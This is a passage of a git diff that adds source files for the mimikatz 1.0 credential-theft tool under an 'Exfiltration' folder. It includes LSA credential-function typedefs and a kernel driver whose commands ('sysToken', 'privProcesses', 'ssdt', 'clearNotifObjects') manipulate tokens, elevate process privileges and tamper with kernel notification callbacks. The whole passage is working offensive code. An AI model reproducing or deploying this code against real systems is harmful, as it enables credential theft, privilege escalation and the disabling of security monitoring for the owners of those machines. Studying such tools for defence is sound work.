OutputBuffer); + +typedef NTSTATUS (WINAPI * PLSA_CREATE_LOGON_SESSION) (IN PLUID LogonId); +typedef NTSTATUS (WINAPI * PLSA_DELETE_LOGON_SESSION) (IN PLUID LogonId); +typedef NTSTATUS (WINAPI * PLSA_ADD_CREDENTIAL) (IN PLUID LogonId, IN ULONG AuthenticationPackage, IN PLSA_STRING PrimaryKeyValue, IN PLSA_STRING Credentials); +typedef NTSTATUS (WINAPI * PLSA_GET_CREDENTIALS) (IN PLUID LogonId, IN ULONG AuthenticationPackage, IN OUT PULONG QueryContext, IN BOOLEAN RetrieveAllCredentials, IN PLSA_STRING PrimaryKeyValue, OUT PULONG PrimaryKeyLength, IN PLSA_STRING Credentials); +typedef NTSTATUS (WINAPI * PLSA_DELETE_CREDENTIAL) (IN PLUID LogonId, IN ULONG AuthenticationPackage, IN PLSA_STRING PrimaryKeyValue); +typedef PVOID (WINAPI * PLSA_ALLOCATE_LSA_HEAP) (IN ULONG Length); +typedef VOID (WINAPI * PLSA_FREE_LSA_HEAP) (IN PVOID Base); +typedef PVOID (WINAPI * PLSA_ALLOCATE_PRIVATE_HEAP) (IN SIZE_T Length); +typedef VOID (WINAPI * PLSA_FREE_PRIVATE_HEAP) (IN PVOID Base); +typedef NTSTATUS (WINAPI * PLSA_ALLOCATE_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN ULONG LengthRequired, OUT PVOID *ClientBaseAddress); +typedef NTSTATUS (WINAPI * PLSA_FREE_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN PVOID ClientBaseAddress); +typedef NTSTATUS (WINAPI * PLSA_COPY_TO_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN ULONG Length, IN PVOID ClientBaseAddress, IN PVOID BufferToCopy); +typedef NTSTATUS (WINAPI * PLSA_COPY_FROM_CLIENT_BUFFER) (IN PLSA_CLIENT_REQUEST ClientRequest, IN ULONG Length, IN PVOID BufferToCopy, IN PVOID ClientBaseAddress); +typedef NTSTATUS (WINAPI * PLSA_IMPERSONATE_CLIENT) (VOID); +typedef NTSTATUS (WINAPI * PLSA_UNLOAD_PACKAGE) (VOID); +typedef NTSTATUS (WINAPI * PLSA_DUPLICATE_HANDLE) (IN HANDLE SourceHandle, OUT PHANDLE DestionationHandle); +typedef NTSTATUS (WINAPI * PLSA_SAVE_SUPPLEMENTAL_CREDENTIALS) (IN PLUID LogonId, IN ULONG SupplementalCredSize, IN PVOID SupplementalCreds, IN BOOLEAN Synchronous); +typedef HANDLE (WINAPI * PLSA_CREATE_THREAD) (IN SEC_ATTRS SecurityAttributes, IN ULONG StackSize, IN SEC_THREAD_START StartFunction, IN PVOID ThreadParameter, IN ULONG CreationFlags, OUT PULONG ThreadId); +typedef NTSTATUS (WINAPI * PLSA_GET_CLIENT_INFO) (OUT PSECPKG_CLIENT_INFO ClientInfo); +typedef HANDLE (WINAPI * PLSA_REGISTER_NOTIFICATION) (IN SEC_THREAD_START StartFunction, IN PVOID Parameter, IN ULONG NotificationType, IN ULONG NotificationClass, IN ULONG NotificationFlags, IN ULONG IntervalMinutes, IN OPTIONAL HANDLE WaitEvent); +typedef NTSTATUS (WINAPI * PLSA_CANCEL_NOTIFICATION) (IN HANDLE NotifyHandle); +typedef NTSTATUS (WINAPI * PLSA_MAP_BUFFER) (IN PSecBuffer InputBuffer, OUT PSecBuffer OutputBuffer); +typedef NTSTATUS (WINAPI * PLSA_CREATE_TOKEN) (IN PLUID LogonId, IN PTOKEN_SOURCE TokenSource, IN SECURITY_LOGON_TYPE LogonType, IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, IN LSA_TOKEN_INFORMATION_TYPE TokenInformationType, IN PVOID TokenInformation, IN PTOKEN_GROUPS TokenGroups, IN PUNICODE_STRING AccountName, IN PUNICODE_STRING AuthorityName, IN PUNICODE_STRING Workstation, IN PUNICODE_STRING ProfilePath, OUT PHANDLE Token, OUT PNTSTATUS SubStatus); +typedef NTSTATUS (WINAPI * PLSA_CREATE_TOKEN_EX) (IN PLUID LogonId, IN PTOKEN_SOURCE TokenSource, IN SECURITY_LOGON_TYPE LogonType, IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, IN LSA_TOKEN_INFORMATION_TYPE TokenInformationType, IN PVOID TokenInformation, IN PTOKEN_GROUPS TokenGroups, IN PUNICODE_STRING Workstation, IN PUNICODE_STRING ProfilePath, IN PVOID SessionInformation, IN SECPKG_SESSIONINFO_TYPE SessionInformationType, OUT PHANDLE Token, OUT PNTSTATUS SubStatus); +typedef VOID (WINAPI * PLSA_AUDIT_LOGON) (IN NTSTATUS Status, IN NTSTATUS SubStatus, IN PUNICODE_STRING AccountName, IN PUNICODE_STRING AuthenticatingAuthority, IN PUNICODE_STRING WorkstationName, IN OPTIONAL PSID UserSid, IN SECURITY_LOGON_TYPE LogonType, IN PTOKEN_SOURCE TokenSource, IN PLUID LogonId); +typedef NTSTATUS (WINAPI * PLSA_CALL_PACKAGE) (IN PUNICODE_STRING AuthenticationPackage, IN PVOID ProtocolSubmitBuffer, IN ULONG SubmitBufferLength, OUT PVOID *ProtocolReturnBuffer, OUT PULONG ReturnBufferLength, OUT PNTSTATUS ProtocolStatus); +typedef NTSTATUS (WINAPI * PLSA_CALL_PACKAGEEX) (IN PUNICODE_STRING AuthenticationPackage, IN PVOID ClientBufferBase, IN PVOID ProtocolSubmitBuffer, IN ULONG SubmitBufferLength, OUT PVOID *ProtocolReturnBuffer, OUT PULONG ReturnBufferLength, OUT PNTSTATUS ProtocolStatus); +typedef NTSTATUS (WINAPI * PLSA_CALL_PACKAGE_PASSTHROUGH) (IN PUNICODE_STRING AuthenticationPackage, IN PVOID ClientBufferBase, IN PVOID ProtocolSubmitBuffer, IN ULONG SubmitBufferLength, OUT PVOID *ProtocolReturnBuffer, OUT PULONG ReturnBufferLength, OUT PNTSTATUS ProtocolStatus); +typedef BOOLEAN (WINAPI * PLSA_GET_CALL_INFO) (OUT PSECPKG_CALL_INFO Info); +typedef PVOID (WINAPI * PLSA_CREATE_SHARED_MEMORY) (ULONG MaxSize, ULONG InitialSize); +typedef PVOID (WINAPI * PLSA_ALLOCATE_SHARED_MEMORY) (PVOID SharedMem, ULONG Size); +typedef VOID (WINAPI * PLSA_FREE_SHARED_MEMORY) (PVOID SharedMem, PVOID Memory); +typedef BOOLEAN (WINAPI * PLSA_DELETE_SHARED_MEMORY) (PVOID SharedMem); +typedef NTSTATUS (WINAPI * PLSA_OPEN_SAM_USER) (PSECURITY_STRING Name, SECPKG_NAME_TYPE NameType, PSECURITY_STRING Prefix, BOOLEAN AllowGuest, ULONG Reserved, PVOID * UserHandle); +typedef NTSTATUS (WINAPI * PLSA_GET_USER_CREDENTIALS) (PVOID UserHandle, PVOID * PrimaryCreds, PULONG PrimaryCredsSize, PVOID * SupplementalCreds, PULONG SupplementalCredsSize); +typedef NTSTATUS (WINAPI * PLSA_GET_USER_AUTH_DATA) (PVOID UserHandle, PUCHAR * UserAuthData, PULONG UserAuthDataSize); +typedef NTSTATUS (WINAPI * PLSA_CLOSE_SAM_USER) (PVOID UserHandle); +typedef NTSTATUS (WINAPI * PLSA_GET_AUTH_DATA_FOR_USER) (PSECURITY_STRING Name, SECPKG_NAME_TYPE NameType, PSECURITY_STRING Prefix, PUCHAR * UserAuthData, PULONG UserAuthDataSize, PUNICODE_STRING UserFlatName); +typedef NTSTATUS (WINAPI * PLSA_CONVERT_AUTH_DATA_TO_TOKEN) (IN PVOID UserAuthData, IN ULONG UserAuthDataSize, IN SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, IN PTOKEN_SOURCE TokenSource, IN SECURITY_LOGON_TYPE LogonType, IN PUNICODE_STRING AuthorityName, OUT PHANDLE Token, OUT PLUID LogonId, OUT PUNICODE_STRING AccountName, OUT PNTSTATUS SubStatus); +typedef NTSTATUS (WINAPI * PLSA_CRACK_SINGLE_NAME) (IN ULONG FormatOffered, IN BOOLEAN PerformAtGC, IN PUNICODE_STRING NameInput, IN PUNICODE_STRING Prefix OPTIONAL, IN ULONG RequestedFormat, OUT PUNICODE_STRING CrackedName, OUT PUNICODE_STRING DnsDomainName, OUT PULONG SubStatus); +typedef NTSTATUS (WINAPI * PLSA_AUDIT_ACCOUNT_LOGON) (IN ULONG AuditId, IN BOOLEAN Success, IN PUNICODE_STRING Source, IN PUNICODE_STRING ClientName, IN PUNICODE_STRING MappedName, IN NTSTATUS Status); +typedef NTSTATUS (WINAPI * PLSA_CLIENT_CALLBACK) (IN PCHAR Callback, IN ULONG_PTR Argument1, IN ULONG_PTR Argument2, IN PSecBuffer Input, OUT PSecBuffer Output); +typedef NTSTATUS (WINAPI * PLSA_REGISTER_CALLBACK) (ULONG CallbackId, PLSA_CALLBACK_FUNCTION Callback); +typedef NTSTATUS (WINAPI * PLSA_UPDATE_PRIMARY_CREDENTIALS) (IN PSECPKG_PRIMARY_CRED PrimaryCredentials, IN OPTIONAL PSECPKG_SUPPLEMENTAL_CRED_ARRAY Credentials); +typedef VOID (WINAPI * PLSA_PROTECT_MEMORY) (IN PVOID Buffer, IN ULONG BufferSize); +typedef NTSTATUS (WINAPI * PLSA_OPEN_TOKEN_BY_LOGON_ID) (IN PLUID LogonId, OUT HANDLE *RetTokenHandle); +typedef NTSTATUS (WINAPI * PLSA_EXPAND_AUTH_DATA_FOR_DOMAIN) (IN PUCHAR UserAuthData, IN ULONG UserAuthDataSize, IN PVOID Reserved, OUT PUCHAR * ExpandedAuthData, OUT PULONG ExpandedAuthDataSize); + + + +#ifndef _ENCRYPTED_CREDENTIAL_DEFINED +#define _ENCRYPTED_CREDENTIAL_DEFINED + +typedef struct _ENCRYPTED_CREDENTIALW { + CREDENTIALW Cred; + ULONG ClearCredentialBlobSize; +} ENCRYPTED_CREDENTIALW, *PENCRYPTED_CREDENTIALW; +#endif // _ENCRYPTED_CREDENTIAL_DEFINED + +#define CREDP_FLAGS_IN_PROCESS 0x01 // Caller is in-process. Password data may be returned +#define CREDP_FLAGS_USE_MIDL_HEAP 0x02 // Allocated buffer should use MIDL_user_allocte +#define CREDP_FLAGS_DONT_CACHE_TI 0x04 // TargetInformation shouldn't be cached for CredGetTargetInfo +#define CREDP_FLAGS_CLEAR_PASSWORD 0x08 // Credential blob is passed in in-the-clear +#define CREDP_FLAGS_USER_ENCRYPTED_PASSWORD 0x10 // Credential blob is passed protected by RtlEncryptMemory +#define CREDP_FLAGS_TRUSTED_CALLER 0x20 // Caller is a trusted process (eg. logon process). + +typedef enum _CredParsedUserNameType +{ + parsedUsernameInvalid = 0, + parsedUsernameUpn, + parsedUsernameNt4Style, + parsedUsernameCertificate, + parsedUsernameNonQualified +} CredParsedUserNameType; + + +typedef NTSTATUS (NTAPI CredReadFn) (IN PLUID LogonId, IN ULONG CredFlags, IN LPWSTR TargetName, IN ULONG Type, IN ULONG Flags, OUT PENCRYPTED_CREDENTIALW *Credential); +typedef NTSTATUS (NTAPI CredReadDomainCredentialsFn) (IN PLUID LogonId, IN ULONG CredFlags, IN PCREDENTIAL_TARGET_INFORMATIONW TargetInfo, IN ULONG Flags, OUT PULONG Count, OUT PENCRYPTED_CREDENTIALW **Credential); + +typedef VOID (NTAPI CredFreeCredentialsFn) (IN ULONG Count, IN PENCRYPTED_CREDENTIALW *Credentials OPTIONAL); +typedef NTSTATUS (NTAPI CredWriteFn) (IN PLUID LogonId, IN ULONG CredFlags, IN PENCRYPTED_CREDENTIALW Credential, IN ULONG Flags); +typedef NTSTATUS (NTAPI CrediUnmarshalandDecodeStringFn)(IN LPWSTR MarshaledString, OUT LPBYTE *Blob, OUT ULONG *BlobSize, OUT BOOLEAN *IsFailureFatal); + +typedef struct _LSA_SECPKG_FUNCTION_TABLE { + PLSA_CREATE_LOGON_SESSION CreateLogonSession; + PLSA_DELETE_LOGON_SESSION DeleteLogonSession; + PLSA_ADD_CREDENTIAL AddCredential; + PLSA_GET_CREDENTIALS GetCredentials; + PLSA_DELETE_CREDENTIAL DeleteCredential; + PLSA_ALLOCATE_LSA_HEAP AllocateLsaHeap; + PLSA_FREE_LSA_HEAP FreeLsaHeap; + PLSA_ALLOCATE_CLIENT_BUFFER AllocateClientBuffer; + PLSA_FREE_CLIENT_BUFFER FreeClientBuffer; + PLSA_COPY_TO_CLIENT_BUFFER CopyToClientBuffer; + PLSA_COPY_FROM_CLIENT_BUFFER CopyFromClientBuffer; + PLSA_IMPERSONATE_CLIENT ImpersonateClient; + PLSA_UNLOAD_PACKAGE UnloadPackage; + PLSA_DUPLICATE_HANDLE DuplicateHandle; + PLSA_SAVE_SUPPLEMENTAL_CREDENTIALS SaveSupplementalCredentials; + PLSA_CREATE_THREAD CreateThread; + PLSA_GET_CLIENT_INFO GetClientInfo; + PLSA_REGISTER_NOTIFICATION RegisterNotification; + PLSA_CANCEL_NOTIFICATION CancelNotification; + PLSA_MAP_BUFFER MapBuffer; + PLSA_CREATE_TOKEN CreateToken; + PLSA_AUDIT_LOGON AuditLogon; + PLSA_CALL_PACKAGE CallPackage; + PLSA_FREE_LSA_HEAP FreeReturnBuffer; + PLSA_GET_CALL_INFO GetCallInfo; + PLSA_CALL_PACKAGEEX CallPackageEx; + PLSA_CREATE_SHARED_MEMORY CreateSharedMemory; + PLSA_ALLOCATE_SHARED_MEMORY AllocateSharedMemory; + PLSA_FREE_SHARED_MEMORY FreeSharedMemory; + PLSA_DELETE_SHARED_MEMORY DeleteSharedMemory; + PLSA_OPEN_SAM_USER OpenSamUser; + PLSA_GET_USER_CREDENTIALS GetUserCredentials; + PLSA_GET_USER_AUTH_DATA GetUserAuthData; + PLSA_CLOSE_SAM_USER CloseSamUser; + PLSA_CONVERT_AUTH_DATA_TO_TOKEN ConvertAuthDataToToken; + PLSA_CLIENT_CALLBACK ClientCallback; + PLSA_UPDATE_PRIMARY_CREDENTIALS UpdateCredentials; + PLSA_GET_AUTH_DATA_FOR_USER GetAuthDataForUser; + PLSA_CRACK_SINGLE_NAME CrackSingleName; + PLSA_AUDIT_ACCOUNT_LOGON AuditAccountLogon; + PLSA_CALL_PACKAGE_PASSTHROUGH CallPackagePassthrough; + CredReadFn *CrediRead; + CredReadDomainCredentialsFn *CrediReadDomainCredentials; + CredFreeCredentialsFn *CrediFreeCredentials; + PLSA_PROTECT_MEMORY LsaProtectMemory; + PLSA_PROTECT_MEMORY LsaUnprotectMemory; + PLSA_OPEN_TOKEN_BY_LOGON_ID OpenTokenByLogonId; + PLSA_EXPAND_AUTH_DATA_FOR_DOMAIN ExpandAuthDataForDomain; + PLSA_ALLOCATE_PRIVATE_HEAP AllocatePrivateHeap; + PLSA_FREE_PRIVATE_HEAP FreePrivateHeap; + PLSA_CREATE_TOKEN_EX CreateTokenEx; + CredWriteFn *CrediWrite; + CrediUnmarshalandDecodeStringFn *CrediUnmarshalandDecodeString; +} LSA_SECPKG_FUNCTION_TABLE, *PLSA_SECPKG_FUNCTION_TABLE; diff --git a/Exfiltration/mimikatz-1.0/driver/MAKEFILE b/Exfiltration/mimikatz-1.0/driver/MAKEFILE new file mode 100644 index 0000000..5acbbd2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/MAKEFILE @@ -0,0 +1 @@ +!INCLUDE $(NTMAKEENV)\makefile.def diff --git a/Exfiltration/mimikatz-1.0/driver/MSCV-GlobalSign.cer b/Exfiltration/mimikatz-1.0/driver/MSCV-GlobalSign.cer new file mode 100644 index 0000000..cdd3755 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/MSCV-GlobalSign.cer @@ -0,0 +1,32 @@ +-----BEGIN CERTIFICATE----- +MIIFfzCCA2egAwIBAgIKYQt/awAAAAAAGTANBgkqhkiG9w0BAQUFADB/MQswCQYD +VQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEe +MBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMSkwJwYDVQQDEyBNaWNyb3Nv +ZnQgQ29kZSBWZXJpZmljYXRpb24gUm9vdDAeFw0wNjA1MjMxNzAwNTFaFw0xNjA1 +MjMxNzEwNTFaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52 +LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxTaWduIFJvb3Qg +Q0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZjc6j40+Kfvvx +i4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavpxy0Sy6scTHAH +oT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz8kHp1Wrjsok6Vjk4 +bwY8iGlbKk3Fp1S4bInMm/k8yuX9ifUSPJJ4ltbcdG6TRGHRjcdGsnUOhugZitVt +bNV4FpWi6cgKOOvyJBNPc1STE4U6G7weNLWLBYy5d4ux2x8gkasJU26Qzns3dLlw +R5EiUWMWea6xrkEmCMgZK9FGqkjWZCrXgzT/LCrBbBlDSgeF59N89iFo7+ryUp9/ +k5DPAgMBAAGjggEjMIIBHzARBgNVHSAECjAIMAYGBFUdIAAwNgYJKwYBBAGCNxUH +BCkwJwYfKwYBBAGCNxUIjeDRiU6E15zDB4amhvscj9O/phUBGQIBbgIBADALBgNV +HQ8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUYHtmGkUNl8qJUC99 +BM00qP/8/UswHQYJKwYBBAGCNxQCBBAeDgBDAHIAbwBzAHMAQwBBMB8GA1UdIwQY +MBaAFGL7CiFbf0NuEdoJVFBr9dKWcfGeMFUGA1UdHwROMEwwSqBIoEaGRGh0dHA6 +Ly9jcmwubWljcm9zb2Z0LmNvbS9wa2kvY3JsL3Byb2R1Y3RzL01pY3Jvc29mdENv +ZGVWZXJpZlJvb3QuY3JsMA0GCSqGSIb3DQEBBQUAA4ICAQATxWxeB388V/+bMV8/ +vZVUJcZ5+SwxA01kaUtW2VuXb3zz8NAkZXU4Y5gTcBYT96cB8cYj4IWGbAvwgJRa +deh85B6StHO/wbOnsAvTGITLzAmjXJxPPrA6nC0bxATvlzeWb+Xsuqxqs9TiPN+L +JeesvGJFMd2kCnLkG/h4QwHMujkU3l2Qrthaz17KRoFRM9WmDlhn09hmWIgWm+6x +GsqtkROEIdqabiDv2gB0KLrJX/NNXcPaJWklVOpEvMObKTMc1jyWH4eBxVPXKicz +1C4ZfAhYbdtOGZmp6l/zmp2MUTpaXL0vqQg1m1Sn2zUaUhYzNDqjgARq/bSDjK2Q +zww6ZZbsM04YJrhJu+uBkv8TTTJLI8cz57ZxaxX2nIDmvLdsvkHVAzpxMxUAUHQ7 +Dl35lqrtkD6rE0yAmSa8OKXrAjaJHbYgvoOrEPgZntdjedSusS9hNvlKS6gzxw5y +QfnxsZB+rkbv3jl7daBBFFkEHUK8R4i4Ew4F+h3wgI3/cMZ32EvcRg4jGnLVv97+ +qq5pWDz8XEbk1YGai25lWXcaMqWQprZkk2T9B1PJoN4orSpsxjjRgc6Y9UAZ6SwX +Q6QmX9NEMFPkHQK6pAovFt16YCdSQrutmDcol+S40nkR4xCMSNUwXQoMUt71iOqN +Gi1nyfSAFIS3hQzRZiilxm8kYQ== +-----END CERTIFICATE----- diff --git a/Exfiltration/mimikatz-1.0/driver/SOURCES b/Exfiltration/mimikatz-1.0/driver/SOURCES new file mode 100644 index 0000000..f544791 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/SOURCES @@ -0,0 +1,9 @@ +TARGETNAME=mimikatz +TARGETPATH=OBJ +TARGETTYPE=DRIVER +SOURCES=mimikatz.c \ + mod_memory.c \ + processes.c minifilters.c fsfilters.c modules.c ssdt.c \ + notify_process.c notify_thread.c notify_image.c notify_reg.c notify_object.c + +TARGETLIBS= $(TARGETLIBS) $(IFSKIT_LIB_PATH)\fltmgr.lib $(BASEDIR)\lib\wlh\*\aux_klib.lib $(DDK_LIB_PATH)\ntstrsafe.lib diff --git a/Exfiltration/mimikatz-1.0/driver/fsfilters.c b/Exfiltration/mimikatz-1.0/driver/fsfilters.c new file mode 100644 index 0000000..fc80756 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/fsfilters.c @@ -0,0 +1,35 @@ +#include "fsfilters.h" + +NTSTATUS kFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + NTSTATUS status; + ULONG ActualNumberDriverObjects = 0; + PDRIVER_OBJECT * DriverObjectList = NULL; + + ULONG i; + + *ppszDestEnd = pszDest; + *pcbRemaining= cbDest; + + IoEnumerateRegisteredFiltersList(NULL, 0, &ActualNumberDriverObjects); + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"kFiltersList - ActualNumberDriverObjects : %u\n\n", ActualNumberDriverObjects); + if(NT_SUCCESS(status)) + { + if(ActualNumberDriverObjects > 0) + { + DriverObjectList = ExAllocatePoolWithTag(NonPagedPool, sizeof(PDRIVER_OBJECT) * ActualNumberDriverObjects, POOL_TAG); + if(DriverObjectList != NULL) + { + IoEnumerateRegisteredFiltersList(DriverObjectList, sizeof(PDRIVER_OBJECT) * ActualNumberDriverObjects, &ActualNumberDriverObjects); + for(i = 0; (i < ActualNumberDriverObjects) && NT_SUCCESS(status); i++) + { + status = RtlStringCbPrintfExW(*ppszDestEnd, *pcbRemaining, ppszDestEnd, pcbRemaining, STRSAFE_NO_TRUNCATION, L"[%.2u] %wZ\n",i , &(DriverObjectList[i]->DriverName)); + //DbgPrint("[%.2u] %wZ\n",i , &(DriverObjectList[i]->DriverName)); + ObDereferenceObject(DriverObjectList[i]); + } + ExFreePoolWithTag(DriverObjectList, POOL_TAG); + } + } + } + return status; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/fsfilters.h b/Exfiltration/mimikatz-1.0/driver/fsfilters.h new file mode 100644 index 0000000..9e82e9c --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/fsfilters.h @@ -0,0 +1,5 @@ +#pragma once +#include +#include "k_types.h" + +NTSTATUS kFiltersList(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/k_types.h b/Exfiltration/mimikatz-1.0/driver/k_types.h new file mode 100644 index 0000000..f82465f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/k_types.h @@ -0,0 +1,49 @@ +#pragma once +#include +#include + +#define MIN(a, b) (((a) < (b)) ? (a) : (b)) +#define MAX(a, b) (((a) > (b)) ? (a) : (b)) + +#ifndef KIWI_NameToFunc +#define KIWI_NameToFunc(Name, Function) if(taillFunc == sizeof(Name) - sizeof(WCHAR)) if(RtlCompareMemory(Name, buffer, taillFunc) == taillFunc) {*destFunc = Function; return STATUS_SUCCESS;} +#endif + +#ifndef KIWI_mask3bits +#define KIWI_mask3bits(addr) (((ULONG_PTR) (addr)) & ~7) +#endif + +#define POOL_TAG 'iwik' + +#define INDEX_UNK 0 +#define INDEX_XP 1 +#define INDEX_2K3 2 +#define INDEX_VISTA 3 +#define INDEX_2K8 4 +#define INDEX_7 5 +#define INDEX_2K8R2 6 +#define INDEX_8 7 +#define MAX_OS_LEN 8 + +#ifdef _M_IX86 +#define EX_FAST_REF_MASK 0x07 +#else +#define EX_FAST_REF_MASK 0x0f +#endif + +typedef NTSTATUS (* ptrLocalFunction) (LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); + +ULONG INDEX_OS; + +PDRIVER_OBJECT moi; + +typedef struct _SERVICE_DESCRIPTOR_TABLE { +#ifdef _M_IX86 + PVOID *ServiceTable; +#else + LONG *OffsetToService; +#endif + PULONG CounterTable; + ULONG TableSize; + PUCHAR ArgumentTable; +} SERVICE_DESCRIPTOR_TABLE, *PSERVICE_DESCRIPTOR_TABLE; diff --git a/Exfiltration/mimikatz-1.0/driver/mimikatz.c b/Exfiltration/mimikatz-1.0/driver/mimikatz.c new file mode 100644 index 0000000..d109eac --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/mimikatz.c @@ -0,0 +1,193 @@ +#include "mimikatz.h" + +ptrLocalFunction maFunc = NULL; + +NTSTATUS UnSupported(PDEVICE_OBJECT DeviceObject, PIRP Irp) +{ + return STATUS_NOT_SUPPORTED; +} + +NTSTATUS Write(PDEVICE_OBJECT DeviceObject, PIRP Irp) +{ + NTSTATUS status = STATUS_INVALID_PARAMETER; + PIO_STACK_LOCATION pIoStackIrp = NULL; + PWSTR params; + size_t tailleParams; + + pIoStackIrp = IoGetCurrentIrpStackLocation(Irp); + if(Irp->AssociatedIrp.SystemBuffer && pIoStackIrp) + { + status = getLocalFuncFromName((LPWSTR) Irp->AssociatedIrp.SystemBuffer, pIoStackIrp->Parameters.Write.Length, ¶ms, &tailleParams, &maFunc); + + if(NT_SUCCESS(status)) + { + Irp->IoStatus.Information = pIoStackIrp->Parameters.Write.Length; + } + } + IoCompleteRequest(Irp, IO_NO_INCREMENT); + Irp->IoStatus.Status = status; + + return status; +} + +NTSTATUS Read(PDEVICE_OBJECT DeviceObject, PIRP Irp) +{ + NTSTATUS status = STATUS_INVALID_HANDLE; + PIO_STACK_LOCATION pIoStackIrp = NULL; + + LPWSTR pszDestEnd; + size_t pcbRemaining; + + pIoStackIrp = IoGetCurrentIrpStackLocation(Irp); + if(Irp->AssociatedIrp.SystemBuffer && pIoStackIrp) + { + if(maFunc) + { + status = maFunc((LPWSTR) Irp->AssociatedIrp.SystemBuffer, pIoStackIrp->Parameters.Read.Length, &pszDestEnd, &pcbRemaining); + + if(NT_SUCCESS(status)) + { + Irp->IoStatus.Information = pIoStackIrp->Parameters.Read.Length - pcbRemaining; + } + } + else + { + status = STATUS_PROCEDURE_NOT_FOUND; + } + } + IoCompleteRequest(Irp, IO_NO_INCREMENT); + Irp->IoStatus.Status = status; + + return status; +} + +void DriverUnload(IN PDRIVER_OBJECT theDriverObject) +{ + UNICODE_STRING UStrDosDeviceName; + RtlInitUnicodeString(&UStrDosDeviceName, L"\\DosDevices\\mimikatz"); + IoDeleteSymbolicLink(&UStrDosDeviceName); + IoDeleteDevice(theDriverObject->DeviceObject); +} + +NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath) +{ + NTSTATUS status; + UNICODE_STRING UStrDriverName, UStrDosDeviceName; + PDEVICE_OBJECT pDeviceObject = NULL; + ULONG i; + + moi = theDriverObject; + RtlInitUnicodeString(&UStrDriverName, L"\\Device\\mimikatz"); + status = IoCreateDevice(theDriverObject, 0, &UStrDriverName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &pDeviceObject); + + if(NT_SUCCESS(status)) + { + INDEX_OS = getWindowsIndex(); + + for(i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) + theDriverObject->MajorFunction[i] = UnSupported; + + theDriverObject->MajorFunction[IRP_MJ_READ] = Read; + theDriverObject->MajorFunction[IRP_MJ_WRITE] = Write; + + theDriverObject->DriverUnload = DriverUnload; + + pDeviceObject->Flags |= DO_BUFFERED_IO; + pDeviceObject->Flags &= ~DO_DEVICE_INITIALIZING; + + RtlInitUnicodeString(&UStrDosDeviceName, L"\\DosDevices\\mimikatz"); + IoCreateSymbolicLink(&UStrDosDeviceName, &UStrDriverName); + } + + return status; +} + + +ULONG getWindowsIndex() +{ + switch(*NtBuildNumber) + { + case 2600: + return INDEX_XP; + break; + case 3790: + return INDEX_2K3; + break; + case 6000: + case 6001: + return INDEX_VISTA; + case 6002: + return INDEX_2K8; + break; + case 7600: + case 7601: + return INDEX_7; + break; + case 8102: + case 8250: + case 9200: + return INDEX_8; + break; + default: + return 0; + } +} + +NTSTATUS getLocalFuncFromName(PWSTR buffer, size_t taille, PWSTR *params, size_t * tailleParams, ptrLocalFunction * destFunc) +{ + NTSTATUS status; + size_t tailleChaine; + ULONG i; + ULONG taillFunc; + + status = RtlStringCbLengthW(buffer, taille, &tailleChaine); + if(NT_SUCCESS(status)) + { + for(i = 0; (i < tailleChaine / sizeof(WCHAR)) && (buffer[i] != L' '); i++); + + if( (i+1) < (tailleChaine / sizeof(WCHAR))) + { + *params = buffer + (i+1); + *tailleParams = (tailleChaine / sizeof(WCHAR)) - (i+1); // avoir !!! + DbgPrint("%u", *tailleParams); + } + else + { + *params = NULL; + *tailleParams = 0; + } + + *destFunc = NULL; + taillFunc = i*sizeof(WCHAR); + + + KIWI_NameToFunc(L"ping", kPing); + + if(INDEX_OS) + { + KIWI_NameToFunc(L"ssdt", kSSDT); + + KIWI_NameToFunc(L"listModules", kModulesList); + KIWI_NameToFunc(L"listFilters", kFiltersList); + KIWI_NameToFunc(L"listMinifilters", kMiniFiltersList); + + KIWI_NameToFunc(L"listNotifProcesses", kListNotifyProcesses); + KIWI_NameToFunc(L"listNotifThreads", kListNotifyThreads); + KIWI_NameToFunc(L"listNotifImages", kListNotifyImages); + KIWI_NameToFunc(L"listNotifRegistry", kListNotifyRegistry); + KIWI_NameToFunc(L"listNotifObjects", kListNotifyObjects); + KIWI_NameToFunc(L"clearNotifObjects", kClearNotifyObjects); + + KIWI_NameToFunc(L"listProcesses", listProcesses); + KIWI_NameToFunc(L"sysToken", sysToken); + KIWI_NameToFunc(L"privProcesses", privProcesses); + } + } + return status; +} + + +NTSTATUS kPing(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining) +{ + return RtlStringCbPrintfExW(pszDest, 